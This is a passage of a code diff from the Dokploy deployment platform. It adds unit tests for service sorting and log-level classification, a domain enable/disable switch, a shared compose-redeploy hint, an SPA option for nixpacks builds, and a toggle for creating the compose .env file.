||||
projectName: "Project",
|
||||
environmentId: "environment",
|
||||
environmentName: "Environment",
|
||||
lastDeployAt: null,
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe("sortOverviewServices", () => {
|
||||
test("sorts by name asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "b", name: "Bravo" }),
|
||||
makeService({ id: "a", name: "Alpha" }),
|
||||
makeService({ id: "c", name: "Charlie" }),
|
||||
];
|
||||
|
||||
expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
|
||||
["a", "b", "c"],
|
||||
);
|
||||
expect(
|
||||
sortOverviewServices(services, "name-desc").map((s) => s.id),
|
||||
).toEqual(["c", "b", "a"]);
|
||||
});
|
||||
|
||||
test("sorts by type asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "app", type: "application" }),
|
||||
makeService({ id: "pg", type: "postgres" }),
|
||||
makeService({ id: "comp", type: "compose" }),
|
||||
];
|
||||
|
||||
expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
|
||||
["app", "comp", "pg"],
|
||||
);
|
||||
expect(
|
||||
sortOverviewServices(services, "type-desc").map((s) => s.id),
|
||||
).toEqual(["pg", "comp", "app"]);
|
||||
});
|
||||
|
||||
test("sorts by createdAt asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||
makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
|
||||
).toEqual(["old", "mid", "new"]);
|
||||
expect(
|
||||
sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
|
||||
).toEqual(["new", "mid", "old"]);
|
||||
});
|
||||
|
||||
test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
|
||||
const services = [
|
||||
makeService({ id: "never", lastDeployAt: null }),
|
||||
makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||
).toEqual(["new", "old", "never"]);
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
|
||||
).toEqual(["old", "new", "never"]);
|
||||
});
|
||||
|
||||
test("lastDeploy sort with all services never deployed is a no-op", () => {
|
||||
const services = [
|
||||
makeService({ id: "a", lastDeployAt: null }),
|
||||
makeService({ id: "b", lastDeployAt: null }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||
).toEqual(["a", "b"]);
|
||||
});
|
||||
|
||||
test("does not mutate the input array", () => {
|
||||
const services = [
|
||||
makeService({ id: "b", name: "Bravo" }),
|
||||
makeService({ id: "a", name: "Alpha" }),
|
||||
];
|
||||
const original = [...services];
|
||||
|
||||
sortOverviewServices(services, "name-asc");
|
||||
|
||||
expect(services).toEqual(original);
|
||||
});
|
||||
});
|
||||
@ -35,6 +35,7 @@ const baseDomain: Domain = {
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
describe("forwardAuthMiddlewareName", () => {
|
||||
|
||||
@ -151,6 +151,7 @@ const baseDomain: Domain = {
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
const baseRedirect: Redirect = {
|
||||
|
||||
@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"a.b.c.example.co",
|
||||
"xn--80ak6aa92e.com",
|
||||
"123.example.com",
|
||||
"example",
|
||||
"dokploy-server",
|
||||
"localhost",
|
||||
])("accepts valid hostname %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
|
||||
});
|
||||
@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"bbn_client.example.com",
|
||||
"-example.com",
|
||||
"example-.com",
|
||||
"example",
|
||||
"exa mple.com",
|
||||
"example..com",
|
||||
"",
|
||||
|
||||
108
apps/dokploy/__test__/utils/log-type.test.ts
Normal file
108
apps/dokploy/__test__/utils/log-type.test.ts
Normal file
@ -0,0 +1,108 @@
|
||||
import { describe, expect, test } from "vitest";
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
|
||||
describe("getLogType", () => {
|
||||
describe("explicit level declared by structured loggers", () => {
|
||||
test("JSON string levels (pino, winston, zap)", () => {
|
||||
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("JSON numeric levels (pino, bunyan)", () => {
|
||||
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("syslog/GELF numeric levels", () => {
|
||||
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
|
||||
});
|
||||
|
||||
test("GCP-style severity and ECS log.level", () => {
|
||||
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
|
||||
"warning",
|
||||
);
|
||||
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
|
||||
test("logfmt levels", () => {
|
||||
expect(
|
||||
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
|
||||
).toBe("error");
|
||||
expect(
|
||||
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
|
||||
).toBe("info");
|
||||
expect(getLogType("level=warn msg=careful").type).toBe("warning");
|
||||
});
|
||||
|
||||
test("declared level wins over keywords in the message (#4589, #1996)", () => {
|
||||
// "version"/"GET" in this pino line would otherwise match the debug keywords
|
||||
const pinoError =
|
||||
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
|
||||
expect(getLogType(pinoError).type).toBe("error");
|
||||
|
||||
// info line containing error-like keywords (#4589)
|
||||
expect(
|
||||
getLogType(
|
||||
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
|
||||
).type,
|
||||
).toBe("info");
|
||||
|
||||
// successful job summary with "failed: false, error: none" (#4538)
|
||||
expect(
|
||||
getLogType(
|
||||
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
|
||||
).type,
|
||||
).toBe("info");
|
||||
});
|
||||
|
||||
test("declared level wins over statusCode", () => {
|
||||
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
|
||||
});
|
||||
|
||||
test("unknown level names fall back to keyword detection", () => {
|
||||
expect(
|
||||
getLogType('{"level":"verbose","msg":"connection failed"}').type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("env-var-like text is not treated as logfmt level", () => {
|
||||
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("fallback detection for unstructured logs (unchanged)", () => {
|
||||
test("statusCode classification", () => {
|
||||
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
|
||||
});
|
||||
|
||||
test("keyword classification", () => {
|
||||
expect(getLogType("error: something broke").type).toBe("error");
|
||||
expect(getLogType("warning: disk almost full").type).toBe("warning");
|
||||
expect(getLogType("Server listening on port 8080").type).toBe("success");
|
||||
});
|
||||
|
||||
test("defaults to info", () => {
|
||||
expect(getLogType("hello world").type).toBe("info");
|
||||
});
|
||||
});
|
||||
});
|
||||
@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
|
||||
To use a cluster feature, you need to configure at least
|
||||
a registry first. Please, go to{" "}
|
||||
<Link
|
||||
href="/dashboard/settings/cluster"
|
||||
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||
className="text-foreground"
|
||||
>
|
||||
Settings
|
||||
|
||||
@ -234,7 +234,7 @@ export const HandleRedirect = ({
|
||||
<FormItem>
|
||||
<FormLabel>Replacement</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="http://mydomain/$${1}" {...field} />
|
||||
<Input placeholder="http://mydomain/$1" {...field} />
|
||||
</FormControl>
|
||||
|
||||
<FormMessage />
|
||||
|
||||
@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.nixpacks),
|
||||
publishDirectory: z.string().optional(),
|
||||
isStaticSpa: z.boolean().default(false),
|
||||
}),
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.railpack),
|
||||
@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
|
||||
return {
|
||||
buildType: BuildType.nixpacks,
|
||||
publishDirectory: data.publishDirectory || undefined,
|
||||
isStaticSpa: data.isStaticSpa ?? false,
|
||||
};
|
||||
case BuildType.paketo_buildpacks:
|
||||
return {
|
||||
@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
|
||||
const buildType = form.watch("buildType");
|
||||
const railpackVersion = form.watch("railpackVersion");
|
||||
const publishDirectory = form.watch("publishDirectory");
|
||||
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
? data.herokuVersion
|
||||
: null,
|
||||
isStaticSpa:
|
||||
data.buildType === BuildType.static ? data.isStaticSpa : null,
|
||||
data.buildType === BuildType.static ||
|
||||
data.buildType === BuildType.nixpacks
|
||||
? data.isStaticSpa
|
||||
: null,
|
||||
railpackVersion:
|
||||
data.buildType === BuildType.railpack
|
||||
? data.railpackVersion || "0.15.4"
|
||||
@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.nixpacks && publishDirectory && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="isStaticSpa"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormControl>
|
||||
<div className="flex items-center gap-x-2 p-2">
|
||||
<Checkbox
|
||||
id="checkboxIsStaticSpaNixpacks"
|
||||
value={String(field.value)}
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
|
||||
Single Page Application (SPA)
|
||||
</FormLabel>
|
||||
</div>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.static && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
|
||||
@ -148,7 +148,7 @@ export const ShowDeployment = ({
|
||||
<DialogDescription className="flex items-center gap-2">
|
||||
<span className="flex items-center gap-2">
|
||||
See all the details of this deployment |{" "}
|
||||
<Badge variant="blank" className="text-xs">
|
||||
<Badge variant="blank" className="text-xs tabular-nums">
|
||||
{filteredLogs.length} lines
|
||||
</Badge>
|
||||
</span>
|
||||
|
||||
@ -63,6 +63,9 @@ export const ShowDeployments = ({
|
||||
const [activeLog, setActiveLog] = useState<
|
||||
RouterOutputs["deployment"]["all"][number] | null
|
||||
>(null);
|
||||
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
|
||||
Set<string>
|
||||
>(new Set());
|
||||
const { data: deployments, isPending: isLoadingDeployments } =
|
||||
api.deployment.allByType.useQuery(
|
||||
{
|
||||
@ -81,7 +84,7 @@ export const ShowDeployments = ({
|
||||
api.rollback.rollback.useMutation();
|
||||
const { mutateAsync: killProcess, isPending: isKillingProcess } =
|
||||
api.deployment.killProcess.useMutation();
|
||||
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
|
||||
const { mutateAsync: removeDeployment } =
|
||||
api.deployment.removeDeployment.useMutation();
|
||||
|
||||
// Cancel deployment mutations
|
||||
@ -408,6 +411,11 @@ export const ShowDeployments = ({
|
||||
description="Are you sure you want to delete this deployment? This action cannot be undone."
|
||||
type="default"
|
||||
onClick={async () => {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(deploymentIds);
|
||||
nextDeploymentIds.add(deployment.deploymentId);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
try {
|
||||
await removeDeployment({
|
||||
deploymentId: deployment.deploymentId,
|
||||
@ -415,13 +423,25 @@ export const ShowDeployments = ({
|
||||
toast.success("Deployment deleted successfully");
|
||||
} catch (error) {
|
||||
toast.error("Error deleting deployment");
|
||||
} finally {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(
|
||||
deploymentIds,
|
||||
);
|
||||
nextDeploymentIds.delete(
|
||||
deployment.deploymentId,
|
||||
);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
isLoading={isRemovingDeployment}
|
||||
isLoading={removingDeploymentIds.has(
|
||||
deployment.deploymentId,
|
||||
)}
|
||||
>
|
||||
Delete
|
||||
<Trash2 className="size-4" />
|
||||
|
||||
@ -14,6 +14,7 @@ import Link from "next/link";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
@ -35,7 +36,9 @@ interface ColumnsProps {
|
||||
validationStates: ValidationStates;
|
||||
handleValidateDomain: (host: string) => Promise<void>;
|
||||
handleDeleteDomain: (domainId: string) => Promise<void>;
|
||||
handleToggleEnable: (domainId: string) => Promise<void>;
|
||||
isDeleting: boolean;
|
||||
isToggling: boolean;
|
||||
serverIp?: string;
|
||||
canCreateDomain: boolean;
|
||||
canDeleteDomain: boolean;
|
||||
@ -47,7 +50,9 @@ export const createColumns = ({
|
||||
validationStates,
|
||||
handleValidateDomain,
|
||||
handleDeleteDomain,
|
||||
handleToggleEnable,
|
||||
isDeleting,
|
||||
isToggling,
|
||||
serverIp,
|
||||
canCreateDomain,
|
||||
canDeleteDomain,
|
||||
@ -249,6 +254,42 @@ export const createColumns = ({
|
||||
);
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "status",
|
||||
header: "Status",
|
||||
cell: ({ row }) => {
|
||||
const domain = row.original;
|
||||
if (!canCreateDomain) {
|
||||
return (
|
||||
<Badge variant={domain.enabled ? "outline" : "secondary"}>
|
||||
{domain.enabled ? "Enabled" : "Disabled"}
|
||||
</Badge>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<div className="flex items-center">
|
||||
<Switch
|
||||
checked={domain.enabled}
|
||||
onCheckedChange={() => handleToggleEnable(domain.domainId)}
|
||||
disabled={isToggling}
|
||||
/>
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>
|
||||
{domain.enabled
|
||||
? "Domain is active. Toggle to disable routing without deleting it."
|
||||
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||
</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
);
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
header: "Actions",
|
||||
|
||||
@ -46,6 +46,7 @@ import {
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip";
|
||||
import { api } from "@/utils/api";
|
||||
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
|
||||
|
||||
export type CacheType = "fetch" | "cache";
|
||||
|
||||
@ -321,7 +322,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
|
||||
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
|
||||
})
|
||||
.then(async () => {
|
||||
toast.success(dictionary.success);
|
||||
toast.success(
|
||||
dictionary.success,
|
||||
data.domainType === "compose"
|
||||
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||
: undefined,
|
||||
);
|
||||
|
||||
if (data.domainType === "application") {
|
||||
await utils.domain.byApplicationId.invalidate({
|
||||
@ -358,12 +364,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
|
||||
</DialogHeader>
|
||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||
|
||||
{type === "compose" && (
|
||||
<AlertBlock type="info" className="mb-4">
|
||||
Whenever you make changes to domains, remember to redeploy your
|
||||
compose to apply the changes.
|
||||
</AlertBlock>
|
||||
)}
|
||||
{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
|
||||
|
||||
<Form {...form}>
|
||||
<form
|
||||
|
||||
@ -0,0 +1,19 @@
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
|
||||
/**
|
||||
* Domains attached to a compose service are rendered as docker labels and only
|
||||
* take effect on the next deployment. These strings keep the "redeploy required"
|
||||
* wording consistent across the add/edit dialog, the domains list and the
|
||||
* toasts shown after create/update/delete/toggle operations.
|
||||
*/
|
||||
export const COMPOSE_REDEPLOY_HINT =
|
||||
"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
|
||||
|
||||
export const COMPOSE_REDEPLOY_TOAST =
|
||||
"Redeploy the compose to apply the changes.";
|
||||
|
||||
export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
|
||||
<AlertBlock type="info" className={className}>
|
||||
{COMPOSE_REDEPLOY_HINT}
|
||||
</AlertBlock>
|
||||
);
|
||||
@ -44,6 +44,7 @@ import {
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
@ -58,11 +59,13 @@ import {
|
||||
TooltipProvider,
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { createColumns } from "./columns";
|
||||
import { DnsHelperModal } from "./dns-helper-modal";
|
||||
import { AddDomain } from "./handle-domain";
|
||||
import { HandleForwardAuth } from "./handle-forward-auth";
|
||||
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
|
||||
|
||||
export type ValidationState = {
|
||||
isLoading: boolean;
|
||||
@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
api.domain.validateDomain.useMutation();
|
||||
const { mutateAsync: deleteDomain, isPending: isRemoving } =
|
||||
api.domain.delete.useMutation();
|
||||
const { mutateAsync: toggleEnable, isPending: isToggling } =
|
||||
api.domain.toggleEnable.useMutation();
|
||||
|
||||
const handleToggleEnable = async (domainId: string) => {
|
||||
try {
|
||||
const result = await toggleEnable({ domainId });
|
||||
refetch();
|
||||
toast.success(
|
||||
result.enabled ? "Domain enabled" : "Domain disabled",
|
||||
result.requiresRedeploy
|
||||
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||
: undefined,
|
||||
);
|
||||
} catch {
|
||||
toast.error("Error updating the domain");
|
||||
}
|
||||
};
|
||||
|
||||
const handleDeleteDomain = async (domainId: string) => {
|
||||
try {
|
||||
await deleteDomain({ domainId });
|
||||
refetch();
|
||||
toast.success("Domain deleted successfully");
|
||||
toast.success(
|
||||
"Domain deleted successfully",
|
||||
type === "compose"
|
||||
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||
: undefined,
|
||||
);
|
||||
} catch {
|
||||
toast.error("Error deleting domain");
|
||||
}
|
||||
@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
validationStates,
|
||||
handleValidateDomain,
|
||||
handleDeleteDomain,
|
||||
handleToggleEnable,
|
||||
isDeleting: isRemoving,
|
||||
isToggling,
|
||||
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
|
||||
canCreateDomain,
|
||||
canDeleteDomain,
|
||||
@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
)}
|
||||
</div>
|
||||
</CardHeader>
|
||||
{type === "compose" && data && data.length > 0 && (
|
||||
<div className="px-6 pb-4">
|
||||
<ComposeRedeployAlert />
|
||||
</div>
|
||||
)}
|
||||
<CardContent className="flex w-full flex-row gap-4">
|
||||
{isLoadingDomains ? (
|
||||
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
|
||||
@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
return (
|
||||
<Card
|
||||
key={item.domainId}
|
||||
className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
|
||||
className={cn(
|
||||
"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
|
||||
!item.enabled && "opacity-60",
|
||||
)}
|
||||
>
|
||||
<CardContent className="p-6">
|
||||
<div className="flex flex-col gap-4">
|
||||
@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
description="Are you sure you want to delete this domain?"
|
||||
type="destructive"
|
||||
onClick={async () => {
|
||||
await deleteDomain({
|
||||
domainId: item.domainId,
|
||||
})
|
||||
.then((_data) => {
|
||||
refetch();
|
||||
toast.success(
|
||||
"Domain deleted successfully",
|
||||
);
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error deleting domain");
|
||||
});
|
||||
await handleDeleteDomain(item.domainId);
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<div className="w-full break-all">
|
||||
<Link
|
||||
className="flex items-center gap-2 text-base font-medium hover:underline"
|
||||
target="_blank"
|
||||
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
|
||||
>
|
||||
{item.host}
|
||||
<ExternalLink className="size-4 min-w-4" />
|
||||
</Link>
|
||||
<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
|
||||
<div className="w-full break-all">
|
||||
<Link
|
||||
className="flex items-center gap-2 text-base font-medium hover:underline"
|
||||
target="_blank"
|
||||
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
|
||||
>
|
||||
{item.host}
|
||||
<ExternalLink className="size-4 min-w-4" />
|
||||
</Link>
|
||||
</div>
|
||||
{canCreateDomain && (
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<div className="flex items-center shrink-0">
|
||||
<Switch
|
||||
checked={item.enabled}
|
||||
onCheckedChange={() =>
|
||||
handleToggleEnable(item.domainId)
|
||||
}
|
||||
disabled={isToggling}
|
||||
/>
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<p>
|
||||
{item.enabled
|
||||
? "Domain is active. Toggle to disable routing without deleting it."
|
||||
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||
</p>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Domain Details */}
|
||||
|
||||
@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
@ -16,16 +17,20 @@ import {
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { Toggle } from "@/components/ui/toggle";
|
||||
import { api } from "@/utils/api";
|
||||
import type { ServiceType } from "../advanced/show-resources";
|
||||
|
||||
const addEnvironmentSchema = z.object({
|
||||
environment: z.string(),
|
||||
createEnvFile: z.boolean(),
|
||||
});
|
||||
|
||||
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
|
||||
@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
? queryMap[type]()
|
||||
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
|
||||
const [isEnvVisible, setIsEnvVisible] = useState(true);
|
||||
const completionSource = useEnvCompletionSource({
|
||||
projectEnv: data?.environment?.project?.env,
|
||||
environmentEnv: data?.environment?.env,
|
||||
projectId: data?.environment?.projectId,
|
||||
environmentId: data?.environment?.environmentId,
|
||||
});
|
||||
|
||||
const mutationMap = {
|
||||
compose: () => api.compose.saveEnvironment.useMutation(),
|
||||
@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
const form = useForm<EnvironmentSchema>({
|
||||
defaultValues: {
|
||||
environment: "",
|
||||
createEnvFile: true,
|
||||
},
|
||||
resolver: zodResolver(addEnvironmentSchema),
|
||||
});
|
||||
|
||||
// Watch form value
|
||||
const currentEnvironment = form.watch("environment");
|
||||
const hasChanges = currentEnvironment !== (data?.env || "");
|
||||
const currentCreateEnvFile = form.watch("createEnvFile");
|
||||
const composeData =
|
||||
type === "compose"
|
||||
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
|
||||
: undefined;
|
||||
|
||||
const showCreateEnvFileToggle =
|
||||
type === "compose" &&
|
||||
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
|
||||
const hasChanges =
|
||||
currentEnvironment !== (data?.env || "") ||
|
||||
(showCreateEnvFileToggle &&
|
||||
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
|
||||
|
||||
useEffect(() => {
|
||||
if (data) {
|
||||
form.reset({
|
||||
environment: data.env || "",
|
||||
createEnvFile: composeData?.createEnvFile ?? true,
|
||||
});
|
||||
}
|
||||
}, [data, form]);
|
||||
@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
postgresId: id || "",
|
||||
redisId: id || "",
|
||||
env: formData.environment,
|
||||
...(type === "compose" && {
|
||||
createEnvFile: formData.createEnvFile,
|
||||
}),
|
||||
})
|
||||
.then(async () => {
|
||||
toast.success("Environments Added");
|
||||
@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
const handleCancel = () => {
|
||||
form.reset({
|
||||
environment: data?.env || "",
|
||||
createEnvFile: composeData?.createEnvFile ?? true,
|
||||
});
|
||||
};
|
||||
|
||||
@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
} as CSSProperties
|
||||
}
|
||||
language="properties"
|
||||
completionSource={completionSource}
|
||||
disabled={isEnvVisible}
|
||||
className="font-mono"
|
||||
wrapperClassName="compose-file-editor"
|
||||
@ -190,6 +220,34 @@ PORT=3000
|
||||
)}
|
||||
/>
|
||||
|
||||
{showCreateEnvFileToggle && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="createEnvFile"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Create Environment File</FormLabel>
|
||||
<FormDescription>
|
||||
When enabled, an .env file will be created in the same
|
||||
directory as your compose file on every deploy.
|
||||
Disable this to keep a repository-provided .env; the
|
||||
variables above will then be ignored. Takes effect on
|
||||
the next deploy.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
disabled={!canWrite}
|
||||
/>
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
|
||||
{canWrite && (
|
||||
<div className="flex flex-row justify-end gap-2">
|
||||
{hasChanges && (
|
||||
|
||||
@ -3,6 +3,7 @@ import { useEffect } from "react";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
